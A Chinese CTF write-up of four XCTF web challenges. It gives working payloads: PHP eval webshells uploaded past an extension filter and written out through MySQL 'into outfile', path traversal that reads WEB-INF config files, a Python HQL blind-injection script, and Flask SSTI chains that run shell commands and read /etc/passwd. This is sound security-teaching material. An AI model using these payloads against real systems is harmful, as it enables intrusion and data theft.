攻防世界(XCTF)WEB(进阶区)write up(四)
ics-07
Web_php_include
Zhuanxv
Web_python_template_injection
ics-07
题前半部分是php弱类型

这段说当传入的id值浮点值不能为1,但是id的最后一个数必须为9,session才能为admin
当id为1a9时可符合上面的要求
看看上传的源码:
<?php
if ($_SESSION['admin']) {
$con = $_POST['con'];
$file = $_POST['file'];
$filename = "backup/".$file;
if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
die("Bad file extension");
}else{
chdir('uploaded');
$f = fopen($filename, 'w');
fwrite($f, $con);
fclose($f);
}
}
?>
利用正则检测的文件后缀名 黑名单模式
突破后缀黑名单思路:
一种是Web中间件的解析漏洞 , 因为已经知道中间件是Apache2 , 使用的是PHP . 所以无非就是Apache解析漏洞或者PHP CGI解析漏洞
一种是通过上传.htaccess文件 , 要使用该功能需要Apache在配置文件中设置AllowOverride All , 并且启用Rewrite模块 , 经过测试发现上传的.htaccess无法生效
[/var/www/html/uploaded/backup/]$ cat /etc/mime.types | grep php #application/x-httpd-php phtml pht php #application/x-httpd-php-source phps #application/x-httpd-php3 php3 #application/x-httpd-php3-preprocessed php3p #application/x-httpd-php4 php4 #application/x-httpd-php5 php5
发现很多文件后缀都使用了application/x-httpd-php这个解析器
其中 phps 和 php3p 都是源代码文件 , 无法被执行 . 而剩下所有的后缀都被正则表过滤 , 所以这种方式也无法成功上传可执行文件
这道题利用了一个Linux的目录结构特性
linux中创建了一个目录为1.php , 都会在其中自动创建两个隐藏文件 .. 和 .
构造:
con=<?php @eval($_POST[qing]);?>&file=qing.php/qing.php/..


Web_php_include
发现phpinfo()可以看到绝对路径 和 phpmyadmin

进入phpmyadmin页面 root直接空密码登录
查看phpmyadmin变量 secure file priv 值为空 说明可以写入一句话
测试到/tmp 目录可以写入,也可以包含读取。
于是将一句话写入/tmp,菜刀链接文件包含页面,得到flag
<?php eval(@$_POST['qing']); ?> select "<?php eval(@$_POST['qing']); ?>"into outfile '/tmp/qing.php'

http://111.198.29.45:43025/?page=/tmp/qing.php 菜刀链接

Zhuanxv
XCTF 4th-SCTF-2018
扫描发现 list目录

爆破注入没成功 看看源码

传参方式取图片 站点发现是java fuzz下

这里fuzz时候还要多fuzz下目录 这里是../../WEB-INF/web.xml

配置文件里面写的是Struts2

关于Struts2目录结构
https://www.cnblogs.com/pigtail/archive/2013/02/12/2910348.html
Struts 2框架有两个核心配置文件,其中struts.xml文件主要负责管理应用中的Action映射,以及该Action包含的Result定义等。除此之外,Struts 2框架还包含 struts.properties文件,该文件定义了Struts 2框架的大量属性,开发者可以通过改变这些属性来满足应用的需求。
Struts2在WEB-INF目录的class目录下有个核心的xml文件
读取struts.xml文件
http://111.198.29.45:39585/loadimage?fileName=../../WEB-INF/classes/struts.xml

这里class里面可以看到很多class类名 尝试下载

访问../../WEB-INF/classes/applicationContext.xml,获取class文件路径和项目配置信息、数据库信息
http://111.198.29.45:32744/loadimage?fileName=../../WEB-INF/classes/applicationContext.xml

发现 有个user.hbm.xml项
从user.hbm.xml得知表名和类名映射

逐个下载配置文件class 在com/cuitctf/service/impl/UserServiceImpl.class得知过滤规则,用户名只过滤空格和等号,密码限制只能字母+数字


可以看到拼接的sql语句 直接拼接的name和password变量造成注入 这里是hql语句
设计到hql注入
注入payload:
admin%%0Aor%0A%%%3E%

盲注脚本
import requests
s=requests.session()
flag=''
for i in range(1,50):
p=''
for j in range(1,255):
payload="(select%0Aascii(substr(id,"+str(i)+",1))%0Afrom%0AFlag%0Awhere%0Aid<2)<'"+str(j)+"'"
#print payload
url="http://121.196.195.244:9032/zhuanxvlogin?user.name=admin'%0Aor%0A"+payload+"%0Aor%0Aname%0Alike%0A'admin&user.password=1"
r1=s.get(url)
#print url
#print len(r1.text)
if len(r1.text)>20000 and p!='':
flag+=p
print i,flag
break
p=chr(j)
Web_python_template_injection
一道有意思的python模版注入(SSTI)

发现存在SSTI 把{{}}中的内容当变量去解析并执行了
FLASK中config是配置为对象 这里使用这个对象的item方法查看信息
config.items()

查查看所有模块
[].__class__.__base__.__subclasses__()

因为如果执行命令需要os模块 这里os模块是在warnings.catch_warnings模块 先找warnings.catch_warnings模块 为第59个
查看warnings.catch_warnings模块的全局函数 利用到的是func_globals.keys()
[].__class__.__base__.__subclasses__()[].__init__.func_globals.keys()

可以看到 linecache函数,os模块就在其中
查看flag文件所在
().__class__.__bases__[].__subclasses__()[].__init__.func_globals.values()[]['eval']('__import__("os").popen("ls").read()' )

{{].__subclasses__()[]("fl4g").read()}}

读取文件 利用到的是object对象下的file类的read函数
[].__class__.__base__.__subclasses__()[]('/etc/passwd').read()

攻防世界(XCTF)WEB(进阶区)write up(四)的更多相关文章
- 攻防世界(XCTF)WEB(进阶区)write up(三)
挑着做一些好玩的ctf题 FlatScience web2 unserialize3upload1wtf.sh-150ics-04web i-got-id-200 FlatScience 扫出来的lo ...
- 攻防世界(XCTF)WEB(进阶区)write up(一)
cat ics-05 ics-06 lottery Cat XCTF 4th-WHCTF-2017 输入域名 输入普通域名无果 输入127.0.0.1返回了ping码的结果 有可能是命令执行 ...
- 攻防世界(XCTF)WEB(进阶区)write up(二)
国庆就要莫得了 起床刷几道 NewsCenter mfw Training-WWW-Robots NaNNaNNaNNaN-Batman bug NewsCenter search传参那里发现有注 ...
- 攻防世界 ctf web进阶区 unserialize
进入到题目的界面,看到以下源码 构造payload=?code=O:4:"xctf":1:{s:4:"flag";s:3:"111";} 结 ...
- 【攻防世界】 高手进阶区 Recho WP
0x00 考察点 考察点有三个: ROP链构造 Got表劫持 pwntools的shutdown功能 0x01 程序分析 上来三板斧 file一下 checksec --file XXX chmod ...
- 攻防世界-web-高手进阶区018-easytornado
1.查看主页面 2.查看其他页面,/welcome.txt http://111.198.29.45:39004/file?filename=/welcome.txt&filehash=9ae ...
- 攻防世界-Crypto高手进阶区部分Writeup
1.flag_in_your_hand && flag_in_your_hand1 下载,解压后 打开index文件,直接点击get flag错误,输入其他点击也同样 打开js文件,在 ...
- 攻防世界-WEB-新手练习区
附:|>>>攻防世界-WEB-高手进阶区<<<|
- 攻防世界 Misc 新手练习区 stegano CONFidence-DS-CTF-Teaser Writeup
攻防世界 Misc 新手练习区 stegano CONFidence-DS-CTF-Teaser Writeup 题目介绍 题目考点 隐写术 摩斯密码 Writeup 下载附件是PDF文件打开,研究一 ...
随机推荐
- NOIP2006 1.明明的随机数
题目:明明想在学校中请一些同学一起做一项问卷调查,为了实验的客观性,他先用计算机生成了N个1到1000之间的随机整数(N≤100),对于其中重复的数字,只保留一个,把其余相同的数去掉,不同的数对应着不 ...
- 疑难杂症----udf提权无法导出.dll
昨天进行测试一个网站,进行udf提权时候,没办法导出.dll, 起初以为是这个马的问题,后来用专用马,一样不行,但是有报错了,有上网找了半天,终于被我找到了. Mysql数据库从文件导入或导出到文件, ...
- 使用dbutils
环境准备: 包结构: mysql导出sql脚本: //product CREATE TABLE `product` ( `id` int(10) NOT NULL AUTO_INCREMENT, `n ...
- 05.Django基础五之django模型层(一)单表操作
一 ORM简介 MVC或者MVC框架中包括一个重要的部分,就是ORM,它实现了数据模型与数据库的解耦,即数据模型的设计不需要依赖于特定的数据库,通过简单的配置就可以轻松更换数据库,这极大的减轻了开发人 ...
- Spark学习之Scala的基础知识
Scala的变量声明 在Scala创建变量的时候,必须使用val或者var val,变量值不可修改,一旦分配不能重新指向别的值 var,分配后,可重新指向类型相同的值 举例 val lines = s ...
- centos文件解压缩7z
1.7z 安装 yum install p7zip 压缩test文件夹生成test.7z 7za a -t7z -r test.7z test #a 代表添加文件/文件夹到压缩包 -t 是指定压缩类型 ...
- TCP通信 -C/S中的Socket与ServerSocket
客户端类:Socket类 TCP通信的客户端:向服务器发送连接请求,给服务器发送数据,读取服务器的数据,两次IO流 java.lang.Object 继承者 java.net.Socket 构造方法: ...
- Maven报错: Could not resolve archetype org.apache.maven.archetypes:maven-archetype-webapp
郁闷了两天,创建maven项目时,eclipse报错:Could not resolve artifact org.apache.maven.archetypes:maven-archetype-we ...
- java8泛型
目录 1,泛型中的相关操作符 2,泛型基本使用示例 3,通配符 3.1, T和?的区别 3.2,上下界通配符 4, 附加约束(&) 泛型,也就是将类型参数化,然后在使用类或者方法的时候可以 ...
- maven 打包构建相关命令
1.命令 mvn clean package 依次执行clean.resources.compile.testResources.testCompile.test.jar(打包)等7个阶段. mvn ...